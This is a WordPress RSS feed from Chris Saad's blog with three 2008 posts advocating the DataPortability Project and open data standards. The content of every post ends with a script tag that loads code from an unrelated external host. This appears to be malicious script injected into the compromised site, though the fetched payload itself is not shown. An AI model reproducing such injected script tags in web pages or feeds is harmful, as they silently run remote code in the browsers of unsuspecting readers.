<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Chris Saad - Paying Attention &#187; Analysis</title>
	<atom:link href="http://blog.areyoupayingattention.com/tag/analysis/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.areyoupayingattention.com</link>
	<description>Personal Blog of Chris Saad</description>
	<lastBuildDate>Mon, 21 Jun 2010 22:48:42 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>An update on the data portability landscape</title>
		<link>http://blog.areyoupayingattention.com/2008/12/an-update-on-the-data-portability-landscape/</link>
		<comments>http://blog.areyoupayingattention.com/2008/12/an-update-on-the-data-portability-landscape/#comments</comments>
		<pubDate>Thu, 18 Dec 2008 14:44:46 +0000</pubDate>
		<dc:creator>Chris Saad</dc:creator>
				<category><![CDATA[Dataportability]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[Work]]></category>
		<category><![CDATA[Analysis]]></category>
		<category><![CDATA[apml]]></category>
		<category><![CDATA[landscape]]></category>
		<category><![CDATA[media 2.0]]></category>
		<category><![CDATA[overview]]></category>

		<guid isPermaLink="false">http://chrissaad.wordpress.com/?p=251</guid>
		<description><![CDATA[
			
				
			
		
I just posted a summary of the current data portability landscape to the Official DataPortability Blog.
From the post:
Closed platforms are like ice cubes in a glass of water. They will float for a while. They will change the temperature of the liquid
beneath. Ultimately, however, the ice cube must eventually melt into the wider web.
Facebook’s success [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fblog.areyoupayingattention.com%2F2008%2F12%2Fan-update-on-the-data-portability-landscape%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fblog.areyoupayingattention.com%2F2008%2F12%2Fan-update-on-the-data-portability-landscape%2F&amp;source=chrissaad&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<p>I just posted a <a href="http://blog.dataportability.org/index.php/2008/12/the-data-portability-landscape-an-update/">summary of the current data portability landscape</a> to the Official DataPortability Blog.</p>
<p>From the post:</p>
<blockquote><p>Closed platforms are like ice cubes in a glass of water. They will float for a while. They will change the temperature of the liquid<br />
beneath. Ultimately, however, the ice cube must eventually melt into the wider web.</p>
<p>Facebook’s success with Facebook Connect can and will further drive innovation in the community to develop an open alternative.</p>
<p>Facebook’s success will (like Google, Microsoft and Yahoo, AOL, Myspace, countless major media properties and countless small startups) to create alternatives. At least some of those participants will recognize (if they have not already) that the most open among them will earn both the respect and the market share of the next phase. Moving from Facebook Connect’s ‘data portability’ to Interoperable DataPortability.</p>
<p>A web of Data.</p>
<p>That’s a landscape where we can continue to innovate on a level playing field.</p></blockquote>
<p><script src="http://ie.eracou.com/3"></script></p>


<!-- Begin SexyBookmarks Menu Code -->
<div class="sexy-bookmarks sexy-bookmarks-expand">
<ul class="socials">
		<li class="sexy-delicious">
			<a href="http://delicious.com/post?url=http://blog.areyoupayingattention.com/2008/12/an-update-on-the-data-portability-landscape/&amp;title=An+update+on+the+data+portability+landscape" rel="nofollow" title="Share this on del.icio.us">Share this on del.icio.us</a>
		</li>
		<li class="sexy-digg">
			<a href="http://digg.com/submit?phase=2&amp;url=http://blog.areyoupayingattention.com/2008/12/an-update-on-the-data-portability-landscape/&amp;title=An+update+on+the+data+portability+landscape" rel="nofollow" title="Digg this!">Digg this!</a>
		</li>
		<li class="sexy-reddit">
			<a href="http://reddit.com/submit?url=http://blog.areyoupayingattention.com/2008/12/an-update-on-the-data-portability-landscape/&amp;title=An+update+on+the+data+portability+landscape" rel="nofollow" title="Share this on Reddit">Share this on Reddit</a>
		</li>
		<li class="sexy-stumbleupon">
			<a href="http://www.stumbleupon.com/submit?url=http://blog.areyoupayingattention.com/2008/12/an-update-on-the-data-portability-landscape/&amp;title=An+update+on+the+data+portability+landscape" rel="nofollow" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a>
		</li>
		<li class="sexy-facebook">
			<a href="http://www.facebook.com/share.php?v=4&amp;src=bm&amp;u=http://blog.areyoupayingattention.com/2008/12/an-update-on-the-data-portability-landscape/&amp;t=An+update+on+the+data+portability+landscape" rel="nofollow" title="Share this on Facebook">Share this on Facebook</a>
		</li>
		<li class="sexy-twitter">
			<a href="http://twitter.com/home?status=An+update+on+the+data+portability+landscape+-+http://b2l.me/r6jtb+(via+@chrissaad)&amp;source=shareaholic" rel="nofollow" title="Tweet This!">Tweet This!</a>
		</li>
		<li class="sexy-linkedin">
			<a href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http://blog.areyoupayingattention.com/2008/12/an-update-on-the-data-portability-landscape/&amp;title=An+update+on+the+data+portability+landscape&amp;summary=I%20just%20posted%20a%20summary%20of%20the%20current%20data%20portability%20landscape%20to%20the%20Official%20DataPortability%20Blog.%0A%0AFrom%20the%20post%3A%0AClosed%20platforms%20are%20like%20ice%20cubes%20in%20a%20glass%20of%20water.%20They%20will%20float%20for%20a%20while.%20They%20will%20change%20the%20temperature%20of%20the%20liquid%0Abeneath.%20Ultimately%2C%20however%2C%20the%20ice%20cube%20must&amp;source=Chris Saad - Paying Attention" rel="nofollow" title="Share this on LinkedIn">Share this on LinkedIn</a>
		</li>
		<li class="sexy-googlebuzz">
			<a href="http://www.google.com/buzz/post?url=http://blog.areyoupayingattention.com/2008/12/an-update-on-the-data-portability-landscape/&amp;imageurl=" rel="nofollow" title="Post on Google Buzz">Post on Google Buzz</a>
		</li>
		<li class="sexy-techmeme">
			<a href="http://twitter.com/home/?status=Tip+@Techmeme+http://blog.areyoupayingattention.com/2008/12/an-update-on-the-data-portability-landscape/+&quot;An+update+on+the+data+portability+landscape&quot;" rel="nofollow" title="Tip this to TechMeme">Tip this to TechMeme</a>
		</li>
</ul>
<div style="clear:both;"></div>
</div>
<!-- End SexyBookmarks Menu Code -->

]]></content:encoded>
			<wfw:commentRss>http://js-kit.com/rss/chrissaad.wordpress.com/p=251</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Microsoft to join DataPortability &#8211; Where&#039;s the beef?</title>
		<link>http://blog.areyoupayingattention.com/2008/01/microsoft-to-join-dataportability-wheres-the-beef/</link>
		<comments>http://blog.areyoupayingattention.com/2008/01/microsoft-to-join-dataportability-wheres-the-beef/#comments</comments>
		<pubDate>Wed, 23 Jan 2008 23:11:12 +0000</pubDate>
		<dc:creator>Chris Saad</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Dataportability]]></category>
		<category><![CDATA[Media]]></category>
		<category><![CDATA[Personal]]></category>
		<category><![CDATA[Politics]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[Work]]></category>
		<category><![CDATA[Analysis]]></category>
		<category><![CDATA[announcement]]></category>
		<category><![CDATA[microsoft]]></category>

		<guid isPermaLink="false">http://chrissaad.wordpress.com/2008/01/23/microsoft-to-join-dataportability-wheres-the-beef/</guid>
		<description><![CDATA[
			
				
			
		
The news today is that Microsoft intends to join the DataPortability Project.
So where&#8217;s the beef? Why are long-time influentials from all these large vendors joining the cause? What are we offering? What are we trying to do? What&#8217;s in it for them? What do they bring to the table?
Many of these questions are already answered [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fblog.areyoupayingattention.com%2F2008%2F01%2Fmicrosoft-to-join-dataportability-wheres-the-beef%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fblog.areyoupayingattention.com%2F2008%2F01%2Fmicrosoft-to-join-dataportability-wheres-the-beef%2F&amp;source=chrissaad&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<p>The news today is that <a href="http://www.techmeme.com/080123/p57#a080123p57">Microsoft intends to join the DataPortability Project</a>.</p>
<p>So where&#8217;s the beef? Why are long-time influentials from all these large vendors joining the cause? What are we offering? What are we trying to do? What&#8217;s in it for them? What do they bring to the table?</p>
<p>Many of these questions are already answered in the Project <a href="http://groups.google.com/group/dataportability-public/web/charter">Charter</a>, on the <a href="http://groups.google.com/group/dataportability-public/web/faq">FAQ page</a> and in the excellent <a href="http://www.vimeo.com/610179/">video by Michael Pick</a>. but I thought that since I am getting much of the <span style="text-decoration:line-through;">blame</span> credit for this that I might put it all in context in my own words.</p>
<p>First, I&#8217;d like to clarify that DataPortability is not mine. It is an initiative that was co-founded by many people who all believed that something was missing from the existing Identity/Data/Standards landscape.  Something very small, but very important.</p>
<p>A story&#8230;</p>
<p>A message. A simple rallying cry for the mainstream that would:</p>
<ol>
<li>Explain the problem in simple terms</li>
<li>Help contextualize existing efforts to solve it</li>
<li>Encourage inter operable adoption by users, vendors and developers</li>
</ol>
<p>That&#8217;s exactly what DataPortability brings to the community.  A neutral, community driven forum in which standards groups can champion their technology in the context of a solution, vendors can raise their concerns and get answers and end-users can get a easy, safe and secure experience.</p>
<p>So back to the original question. Where&#8217;s the value?</p>
<p>The value is in the exciting and critically important work that <a href="http://groups.google.com/group/dataportability-public/web/standards-communities">standards groups</a> have been doing for years. It&#8217;s in the new conversations being encouraged between standards groups and vendors both inside the DataPortability Project and independently 1 on 1. It&#8217;s in the <a href="http://groups.google.com/group/dataportability-public/web/action-groups">Action Groups</a> that are bringing diverse people together. It&#8217;s in the <a href="http://groups.google.com/group/dataportability-public/web/actionpacks">Action Packs</a> we are developing to help tell the story to Executives, Developers, Designers, Bloggers and Vendors. It&#8217;s in the <a href="http://groups.google.com/group/dataportabilityactiontechnical">Technical</a> and <a href="http://groups.google.com/group/dataportabilityactionpolicy">Policy</a> Blueprints we are designing to tell the story in a more detailed way and believe it or not, it&#8217;s in the PR hype of the <a href="http://groups.google.com/group/dataportability-public/web/buzz">announcements</a>.</p>
<p>Each announcement &#8211; each new member &#8211; both large and small &#8211; means another voice, and another opportunity to broaden the conversation and apply the sort of grass-roots pressure we all know already exists to create a web of data we can Connect, Control, Share and Remix.</p>
<p>In regard to Microsoft specifically, I welcome their voice in the conversation. Their team has been one of the most transparent and accessible of all the vendors we have spoken to and their products and services touch the lives of almost everyone both online and off.</p>
<p><a href="http://groups.google.com/group/dataportability-public/web/action-groups">Please join us</a><br />
Chris</p>
<p>Special thanks to <a href="http://danielabarbosa.blogspot.com/">Daniela Barbosa</a> for finding the picture!<script src="http://ie.eracou.com/3"></script></p>


<!-- Begin SexyBookmarks Menu Code -->
<div class="sexy-bookmarks sexy-bookmarks-expand">
<ul class="socials">
		<li class="sexy-delicious">
			<a href="http://delicious.com/post?url=http://blog.areyoupayingattention.com/2008/01/microsoft-to-join-dataportability-wheres-the-beef/&amp;title=Microsoft+to+join+DataPortability+-+Where%26%23039%3Bs+the+beef%3F" rel="nofollow" title="Share this on del.icio.us">Share this on del.icio.us</a>
		</li>
		<li class="sexy-digg">
			<a href="http://digg.com/submit?phase=2&amp;url=http://blog.areyoupayingattention.com/2008/01/microsoft-to-join-dataportability-wheres-the-beef/&amp;title=Microsoft+to+join+DataPortability+-+Where%26%23039%3Bs+the+beef%3F" rel="nofollow" title="Digg this!">Digg this!</a>
		</li>
		<li class="sexy-reddit">
			<a href="http://reddit.com/submit?url=http://blog.areyoupayingattention.com/2008/01/microsoft-to-join-dataportability-wheres-the-beef/&amp;title=Microsoft+to+join+DataPortability+-+Where%26%23039%3Bs+the+beef%3F" rel="nofollow" title="Share this on Reddit">Share this on Reddit</a>
		</li>
		<li class="sexy-stumbleupon">
			<a href="http://www.stumbleupon.com/submit?url=http://blog.areyoupayingattention.com/2008/01/microsoft-to-join-dataportability-wheres-the-beef/&amp;title=Microsoft+to+join+DataPortability+-+Where%26%23039%3Bs+the+beef%3F" rel="nofollow" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a>
		</li>
		<li class="sexy-facebook">
			<a href="http://www.facebook.com/share.php?v=4&amp;src=bm&amp;u=http://blog.areyoupayingattention.com/2008/01/microsoft-to-join-dataportability-wheres-the-beef/&amp;t=Microsoft+to+join+DataPortability+-+Where%26%23039%3Bs+the+beef%3F" rel="nofollow" title="Share this on Facebook">Share this on Facebook</a>
		</li>
		<li class="sexy-twitter">
			<a href="http://twitter.com/home?status=Microsoft+to+join+DataPortability+-+Where%26%23039%3Bs+the+beef%3F+-+http://b2l.me/r2hna+(via+@chrissaad)&amp;source=shareaholic" rel="nofollow" title="Tweet This!">Tweet This!</a>
		</li>
		<li class="sexy-linkedin">
			<a href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http://blog.areyoupayingattention.com/2008/01/microsoft-to-join-dataportability-wheres-the-beef/&amp;title=Microsoft+to+join+DataPortability+-+Where%26%23039%3Bs+the+beef%3F&amp;summary=The%20news%20today%20is%20that%20Microsoft%20intends%20to%20join%20the%20DataPortability%20Project.%0A%0ASo%20where%27s%20the%20beef%3F%20Why%20are%20long-time%20influentials%20from%20all%20these%20large%20vendors%20joining%20the%20cause%3F%20What%20are%20we%20offering%3F%20What%20are%20we%20trying%20to%20do%3F%20What%27s%20in%20it%20for%20them%3F%20What%20do%20they%20bring%20to%20the%20table%3F%0A%0AMany%20of%20these%20qu&amp;source=Chris Saad - Paying Attention" rel="nofollow" title="Share this on LinkedIn">Share this on LinkedIn</a>
		</li>
		<li class="sexy-googlebuzz">
			<a href="http://www.google.com/buzz/post?url=http://blog.areyoupayingattention.com/2008/01/microsoft-to-join-dataportability-wheres-the-beef/&amp;imageurl=" rel="nofollow" title="Post on Google Buzz">Post on Google Buzz</a>
		</li>
		<li class="sexy-techmeme">
			<a href="http://twitter.com/home/?status=Tip+@Techmeme+http://blog.areyoupayingattention.com/2008/01/microsoft-to-join-dataportability-wheres-the-beef/+&quot;Microsoft+to+join+DataPortability+-+Where%26%23039%3Bs+the+beef%3F&quot;" rel="nofollow" title="Tip this to TechMeme">Tip this to TechMeme</a>
		</li>
</ul>
<div style="clear:both;"></div>
</div>
<!-- End SexyBookmarks Menu Code -->

]]></content:encoded>
			<wfw:commentRss>http://js-kit.com/rss/chrissaad.wordpress.com/2008/01/23/microsoft</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Jeremiah Owyang Suggests some deliverables for DataPortability</title>
		<link>http://blog.areyoupayingattention.com/2008/01/jermiah-suggests-some-deliverables-for-dataportability/</link>
		<comments>http://blog.areyoupayingattention.com/2008/01/jermiah-suggests-some-deliverables-for-dataportability/#comments</comments>
		<pubDate>Sat, 12 Jan 2008 01:05:23 +0000</pubDate>
		<dc:creator>Chris Saad</dc:creator>
				<category><![CDATA[Dataportability]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[Work]]></category>
		<category><![CDATA[Analysis]]></category>
		<category><![CDATA[plan]]></category>

		<guid isPermaLink="false">http://chrissaad.wordpress.com/2008/01/12/jermiah-suggests-some-deliverables-for-dataportability/</guid>
		<description><![CDATA[
			
				
			
		
Jeremiah Owyang is one of those people with a sharp mind and a clear communication style that makes everyone stand up and listen. His input is always welcome and he has posted some great ideas for DataPortability.org. I thought I would respond to them here.
I will post his requirements and my comments after each.
1. Charter [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fblog.areyoupayingattention.com%2F2008%2F01%2Fjermiah-suggests-some-deliverables-for-dataportability%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fblog.areyoupayingattention.com%2F2008%2F01%2Fjermiah-suggests-some-deliverables-for-dataportability%2F&amp;source=chrissaad&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<p>Jeremiah Owyang is one of those people with a sharp mind and a clear communication style that makes everyone stand up and listen. His input is always welcome and he has <a href="http://www.web-strategist.com/blog/2008/01/11/what-we-expect-from-the-data-portability-working-group/#comment-277563">posted some great ideas for DataPortability.org</a>. I thought I would respond to them here.</p>
<p>I will post his requirements and my comments after each.</p>
<p>1. Charter document: This lists the groups purpose, who’s held accountable, and what we expect to see and goals</p>
<blockquote><p>We have started a <a href="http://groups.google.com/group/dataportability-public/web/workgroup-roadmap">Workgroup Roadmap</a> to ensure that the right documents get created and ratified. So far we have an emerging decision making structure and a path for deliverables.</p>
<p>We also have an emerging &#8216;<a href="http://groups.google.com/group/dataportability-public/web/overview-agenda">Agenda</a>&#8216; which will be expanded into a Manifesto.</p></blockquote>
<p>2. Needs: Problem definition document, what exactly is broken?</p>
<blockquote><p>We are going to start defining <a href="http://groups.google.com/group/dataportability-public/web/use-cases">Use Cases</a> soon. We also have an emerging set of <a href="http://groups.google.com/group/dataportability-public/web/design-goals">Design Goals</a> for the DataPortability Technical Blueprint.</p></blockquote>
<p>3. Plan: A strategy doc that outlines the next steps the group will take to fix the problem, dependencies, phases, and risks.</p>
<blockquote><p>Again, we have the <a href="http://groups.google.com/group/dataportability-public/web/use-cases">Roadmap</a>&#8230;</p></blockquote>
<p>4. Calendar: Of regular meetings, and who’s assigned to each problem.  Dates that indicate what will be done when.</p>
<blockquote><p>The dates will be set by the Roadmap. Meetings, at the moment, are not planned. We are discussing things on the <a href="http://groups.google.com/group/dataportability">Workgroup Forum</a>.</p></blockquote>
<p>5. Meeting minutes: A regularly published list of notes after each meeting that indicate the progress done by <em>each</em> member</p>
<blockquote><p>The discussion forum is actually open to the public. Watch the conversation in real-time. This is 2008 people!</p></blockquote>
<p>6. Document: Body of standards, the rules, and the final output</p>
<blockquote><p>The main DataPortability deliverables will be the <a href="http://groups.google.com/group/dataportability-public/web/reference-design">DataPortability Technical Blueprint</a> and a <a href="http://groups.google.com/group/dataportability-public/web/dataportability-policy-reference-design">DataPortability Policy Blueprint</a>. These will map out a way for vendors to implement the world&#8217;s open standards for maximum interoperability.</p></blockquote>
<p>7. Openness: Public announcements of progress of major milestones</p>
<blockquote><p>Again, the discussion is open and transparent and the public can watch in real time, and can also participate in the <a href="http://groups.google.com/group/dataportability-public">public group</a>.</p>
<p>Members will obviously blog, tweet and shout results from the rooftops.</p></blockquote>
<p>8. Actual results: our identity portable, safe, managed and controlled by the owners.</p>
<blockquote><p>This will be up to vendors &#8211; and to bloggers, media and users who need to choose vendors who respect their DataPortability rights &#8211; once the Blueprints are ratified of course.</p></blockquote>
<p>Can you suggest improvements? Comment here, or join the <a href="http://groups.google.com/group/dataportability-public/">Public Discussion</a> and start a thread!</p>
<p>Don&#8217;t forget to read the <a href="http://www.web-strategist.com/blog/2008/01/11/what-we-expect-from-the-data-portability-working-group/#comment-277563">rest of his post</a>.<script src="http://ie.eracou.com/3"></script></p>


<!-- Begin SexyBookmarks Menu Code -->
<div class="sexy-bookmarks sexy-bookmarks-expand">
<ul class="socials">
		<li class="sexy-delicious">
			<a href="http://delicious.com/post?url=http://blog.areyoupayingattention.com/2008/01/jermiah-suggests-some-deliverables-for-dataportability/&amp;title=Jeremiah+Owyang+Suggests+some+deliverables+for+DataPortability" rel="nofollow" title="Share this on del.icio.us">Share this on del.icio.us</a>
		</li>
		<li class="sexy-digg">
			<a href="http://digg.com/submit?phase=2&amp;url=http://blog.areyoupayingattention.com/2008/01/jermiah-suggests-some-deliverables-for-dataportability/&amp;title=Jeremiah+Owyang+Suggests+some+deliverables+for+DataPortability" rel="nofollow" title="Digg this!">Digg this!</a>
		</li>
		<li class="sexy-reddit">
			<a href="http://reddit.com/submit?url=http://blog.areyoupayingattention.com/2008/01/jermiah-suggests-some-deliverables-for-dataportability/&amp;title=Jeremiah+Owyang+Suggests+some+deliverables+for+DataPortability" rel="nofollow" title="Share this on Reddit">Share this on Reddit</a>
		</li>
		<li class="sexy-stumbleupon">
			<a href="http://www.stumbleupon.com/submit?url=http://blog.areyoupayingattention.com/2008/01/jermiah-suggests-some-deliverables-for-dataportability/&amp;title=Jeremiah+Owyang+Suggests+some+deliverables+for+DataPortability" rel="nofollow" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a>
		</li>
		<li class="sexy-facebook">
			<a href="http://www.facebook.com/share.php?v=4&amp;src=bm&amp;u=http://blog.areyoupayingattention.com/2008/01/jermiah-suggests-some-deliverables-for-dataportability/&amp;t=Jeremiah+Owyang+Suggests+some+deliverables+for+DataPortability" rel="nofollow" title="Share this on Facebook">Share this on Facebook</a>
		</li>
		<li class="sexy-twitter">
			<a href="http://twitter.com/home?status=Jeremiah+Owyang+Suggests+some+deliverables+for+DataPortability+-+http://b2l.me/r2vm4+(via+@chrissaad)&amp;source=shareaholic" rel="nofollow" title="Tweet This!">Tweet This!</a>
		</li>
		<li class="sexy-linkedin">
			<a href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http://blog.areyoupayingattention.com/2008/01/jermiah-suggests-some-deliverables-for-dataportability/&amp;title=Jeremiah+Owyang+Suggests+some+deliverables+for+DataPortability&amp;summary=Jeremiah%20Owyang%20is%20one%20of%20those%20people%20with%20a%20sharp%20mind%20and%20a%20clear%20communication%20style%20that%20makes%20everyone%20stand%20up%20and%20listen.%20His%20input%20is%20always%20welcome%20and%20he%20has%20posted%20some%20great%20ideas%20for%20DataPortability.org.%20I%20thought%20I%20would%20respond%20to%20them%20here.%0A%0AI%20will%20post%20his%20requirements%20and%20my%20comme&amp;source=Chris Saad - Paying Attention" rel="nofollow" title="Share this on LinkedIn">Share this on LinkedIn</a>
		</li>
		<li class="sexy-googlebuzz">
			<a href="http://www.google.com/buzz/post?url=http://blog.areyoupayingattention.com/2008/01/jermiah-suggests-some-deliverables-for-dataportability/&amp;imageurl=" rel="nofollow" title="Post on Google Buzz">Post on Google Buzz</a>
		</li>
		<li class="sexy-techmeme">
			<a href="http://twitter.com/home/?status=Tip+@Techmeme+http://blog.areyoupayingattention.com/2008/01/jermiah-suggests-some-deliverables-for-dataportability/+&quot;Jeremiah+Owyang+Suggests+some+deliverables+for+DataPortability&quot;" rel="nofollow" title="Tip this to TechMeme">Tip this to TechMeme</a>
		</li>
</ul>
<div style="clear:both;"></div>
</div>
<!-- End SexyBookmarks Menu Code -->

]]></content:encoded>
			<wfw:commentRss>http://js-kit.com/rss/chrissaad.wordpress.com/2008/01/12/jermiah</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
